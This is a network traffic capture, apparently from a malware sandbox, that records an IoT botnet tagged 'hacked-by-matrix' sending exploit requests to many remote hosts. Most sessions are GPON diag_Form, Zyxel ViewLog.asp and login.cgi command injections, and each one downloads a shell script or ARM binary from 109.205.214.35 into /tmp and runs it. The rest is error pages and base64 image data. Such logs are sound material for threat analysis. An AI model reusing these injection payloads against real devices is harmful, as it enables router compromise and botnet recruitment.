Mar 21, 2024 05:17:45.156546116 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
716	192.168.2.23	33796	37.137.199.224	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.156548977 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
717	192.168.2.23	34156	178.143.93.59	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.156646967 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
718	192.168.2.23	37880	178.107.215.91	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.156678915 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
719	192.168.2.23	45930	109.104.183.35	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.156688929 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
720	192.168.2.23	53362	109.148.224.102	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.156821966 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
721	192.168.2.23	35938	210.183.196.169	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.156929970 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
722	192.168.2.23	49852	94.196.203.181	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.157038927 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
723	192.168.2.23	35542	94.146.122.14	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.157038927 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
724	192.168.2.23	35204	42.126.239.140	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.157119989 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
725	192.168.2.23	34954	200.52.149.62	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.198051929 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:45.352514029 CET	307	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:14:07 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:17:45.352586031 CET	308	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:14:07 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:17:45.661134958 CET	308	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:14:07 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
726	192.168.2.23	59734	212.108.20.154	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.336076975 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:46.266732931 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:46.438924074 CET	1286	IN	HTTP/1.1 503 Service Unavailable Date: Thu Mar 21 04:03:27 2024 GMT Content-Length: 57044 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 63 2e 6f 72 67 2f 54 52 2f 31 39 39 39 2f 52 45 43 2d 68 74 6d 6c 34 30 31 2d 31 39 39 39 31 32 32 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 20 20 20 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 20 7b 20 6d 61 72 67 69 6e 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 74 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 7d 20 20 20 20 20 20 20 68 31 2c 20 68 32 20 7b 20 68 65 69 67 68 74 3a 20 38 32 70 78 3b 20 74 65 78 74 2d 69 6e 64 65 6e 74 3a 20 2d 39 39 39 65 6d 3b 20 6d 61 72 67 69 6e 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 6d 61 72 67 69 6e 3a 20 30 3b 20 7d 20 20 20 20 20 20 20 64 69 76 20 7b 20 6d 61 72 67 69 6e 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 20 20 20 20 20 20 20 64 69 76 2e 68 65 61 64 65 72 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 50 4d 41 41 41 46 6e 43 41 4d 41 41 41 42 45 71 49 2f 73 41 41 41 41 47 58 52 46 57 48 52 54 62 32 5a 30 64 32 46 79 5a 51 42 42 5a 47 39 69 5a 53 42 4a 62 57 46 6e 5a 56 4a 6c 59 57 52 35 63 63 6c 6c 50 41 41 41 41 79 46 70 56 46 68 30 57 45 31 4d 4f 6d 4e 76 62 53 35 68 5a 47 39 69 5a 53 35 34 62 58 41 41 41 41 41 41 41 44 77 2f 65 48 42 68 59 32 74 6c 64 43 42 69 5a 57 64 70 62 6a 30 69 37 37 75 2f 49 69 42 70 5a 44 30 69 56 7a 56 4e 4d 45 31 77 51 32 56 6f 61 55 68 36 63 6d 56 54 65 6b 35 55 59 33 70 72 59 7a 6c 6b 49 6a 38 2b 49 44 78 34 4f 6e 68 74 63 47 31 6c 64 47 45 67 65 47 31 73 62 6e 4d 36 65 44 30 69 59 57 52 76 59 6d 55 36 62 6e 4d 36 62 57 56 30 59 53 38 69 49 48 67 36 65 47 31 77 64 47 73 39 49 6b 46 6b 62 32 4a 6c 49 46 68 4e 55 43 42 44 62 33 4a 6c 49 44 55 75 4e 53 31 6a 4d 44 49 78 49 44 63 35 4c 6a 45 31 4e 44 6b 78 4d 53 77 67 4d 6a 41 78 4d 79 38 78 4d 43 38 79 4f 53 30 78 4d 54 6f 30 4e 7a 6f 78 4e 69 41 67 49 43 41 67 49 43 41 67 49 6a 34 67 50 48 4a 6b 5a 6a 70 53 52 45 59 67 65 47 31 73 62 6e 4d 36 63 6d 52 6d 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 78 4f 54 6b 35 4c 7a 41 79 4c 7a 49 79 4c 58 4a 6b 5a 69 31 7a 65 57 35 30 59 58 67 74 62 6e 4d 6a 49 6a 34 67 50 48 4a 6b 5a 6a 70 45 5a 58 4e 6a 63 6d 6c 77 64 47 6c 76 62 69 42 79 5a 47 59 36 59 57 4a 76 64 58 51 39 49 69 49 67 65 47 31 73 62 6e 4d 36 65 47 31 77 54 55 30 39 49 6d 68 30 64 48 41 36 4c 79 39 75 63 79 35 68 5a 47 39 69 5a 53 35 6a 62 32 30 76 65 47 46 77 4c 7a 45 75 4d 43 39 74 62 53 38 69 49 48 68 74 62 47 35 7a 4f 6e 4e 30 55 6d 56 6d 50 53 4a 6f 64 48 52 77 4f 69 38 76 62 6e 4d 75 59 57 52 76 59 6d 55 75 59 32 39 74 4c 33 68 68 63 43 38 78 4c 6a 41 76 63 31 52 35 63 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><style type="text/css"> html, body { margin: 0; padding: 0; font-family: Verdana, Arial, sans-serif; font-size: 10pt; background-color: #ffffff;} h1, h2 { height: 82px; text-indent: -999em; margin: 0; padding: 0; margin: 0; } div { margin: 0; padding: 0; } div.header { background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPMAAAFnCAMAAABEqI/sAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyFpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNS1jMDIxIDc5LjE1NDkxMSwgMjAxMy8xMC8yOS0xMTo0NzoxNiAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5c
Mar 21, 2024 05:17:46.439008951 CET	1286	IN	Data Raw: 47 55 76 55 6d 56 7a 62 33 56 79 59 32 56 53 5a 57 59 6a 49 69 42 34 62 57 78 75 63 7a 70 34 62 58 41 39 49 6d 68 30 64 48 41 36 4c 79 39 75 63 79 35 68 5a 47 39 69 5a 53 35 6a 62 32 30 76 65 47 46 77 4c 7a 45 75 4d 43 38 69 49 48 68 74 63 45 31 Data Ascii: GUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6NkNFNDFGRjY4RjA5MTFFNEExNzFEMUU2MzhGQjBDODIiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NkNFNDFGRjU4RjA5MTFFNEExNzFEMUU2MzhGQjBDODIiIHhtcDpD
Mar 21, 2024 05:17:46.439074039 CET	1286	IN	Data Raw: 71 57 4a 69 33 41 49 79 57 4b 32 4f 45 53 4c 6e 78 78 74 76 71 66 34 42 2b 63 71 43 78 66 4c 48 43 72 34 65 46 74 7a 63 78 32 38 72 43 2b 35 49 54 47 34 72 45 2b 36 34 4b 70 72 2f 42 42 35 50 65 76 55 42 44 31 61 71 4d 30 4b 53 59 4a 71 2b 30 30 Data Ascii: qWJi3AIyWK2OESLnxxtvqf4B+cqCxfLHCr4eFtzcx28rC+5ITG4rE+64Kpr/BB5PevUBD1aqM0KSYJq+00beprnJpXbbn65NV29nera6rn6CeYX6Qnr3SAKDw48O2Gp63Smp+7Hwtx8nYk8PbqVY4CZzm69TTEb3i94MZAGqi7FlDj3BvT7jAsrOxS53MAKTOIlBvvb68nZ6cp6imYGFfellb6rAE5ak9Hj9b4kojnsznzZ9X9A
Mar 21, 2024 05:17:46.439126968 CET	238	IN	Data Raw: 6f 39 61 74 55 36 6c 42 73 45 36 6b 69 51 74 61 69 59 6d 69 4b 59 7a 6b 6a 41 69 4b 30 52 6c 30 61 6e 56 49 4b 4b 4b 45 30 39 46 6b 6d 6e 73 49 42 43 6d 73 33 43 69 41 45 2b 58 56 47 65 5a 68 6a 53 4e 34 46 70 4b 75 69 72 2f 2f 76 76 76 50 30 38 Data Ascii: o9atU6lBsE6kiQtaiYmiKYzkjAiK0Rl0anVIKKKE09FkmnsIBCms3CiAE+XVGeZhjSN4FpKuir//vvvP08uux/asjL0mEakbWPHMiUTaXI5J+0ao3DEiDwibQ07UFhBEhqSEzQij6zgvDdcSqEJIHPmwt9wLTl92d3A7pehp7snlqGnZaRuDTfeOLGF5KQVkiNAqJ1M5sZLJEl1IjelZhvnvUAjv6Q6E+p
Mar 21, 2024 05:17:46.439188957 CET	1286	IN	Data Raw: 78 49 63 79 4a 76 76 73 52 73 32 4d 47 67 6d 33 74 6a 35 35 4b 37 47 52 4c 53 4d 51 52 47 6a 6e 6e 66 5a 34 45 4d 6a 75 49 45 4f 62 66 62 43 4d 73 49 63 77 4f 37 75 6c 62 59 35 42 63 57 70 32 31 67 48 6d 63 4d 47 68 35 32 33 79 6f 54 4a 63 37 63 Data Ascii: xIcyJvvsRs2MGgm3tj55K7GRLSMQRGjnnfZ4EMjuIEObfbCMsIcwO7ulbY5BcWp21gHmcMGh523yoTJc7cNluxW/vryBTQfZMdCyQaqGDTE4Uwhd5KGyNBjEjnfOoeCZ0bnSJTCRoieKKRKFwIfO5Avtl0HmESEzffiR2iGWErwKY2AefNlXY8dsKAjKvceBoEqhcikRjt0NOkUMsdjjEBHoNdV6Y4kA/9hrs+DQkwgNi+hMcYo
Mar 21, 2024 05:17:46.439249039 CET	1286	IN	Data Raw: 71 39 50 77 75 76 4d 36 38 7a 72 7a 4f 76 4d 36 38 7a 72 7a 4f 76 4d 36 38 7a 72 7a 4b 38 54 78 36 38 54 78 36 38 54 78 36 38 54 78 36 38 54 78 36 38 54 78 36 38 66 78 71 38 54 64 77 58 70 6e 4a 59 47 48 79 33 45 74 62 42 4f 33 50 38 6d 4a 79 66 Data Ascii: q9PwuvM68zrzOvM68zrzOvM68zrzK8Tx68Tx68Tx68Tx68Tx68Tx68fxq8TdwXpnJYGHy3EtbBO3P8mJyff1oWm4OOP4aMmOTx18i3B95r/zcxM/pgTRaO54taJ+13iRx+bbjMaQw4F36ajB+J3v4PPHw3mRgSpP/oonYoE3w82Gn+AMdLTaS844RW1Tpxgr063VyC/3SR8VZco0u29UXfjjbqUT0y36waZ9poG/VdoSpTrBCaT
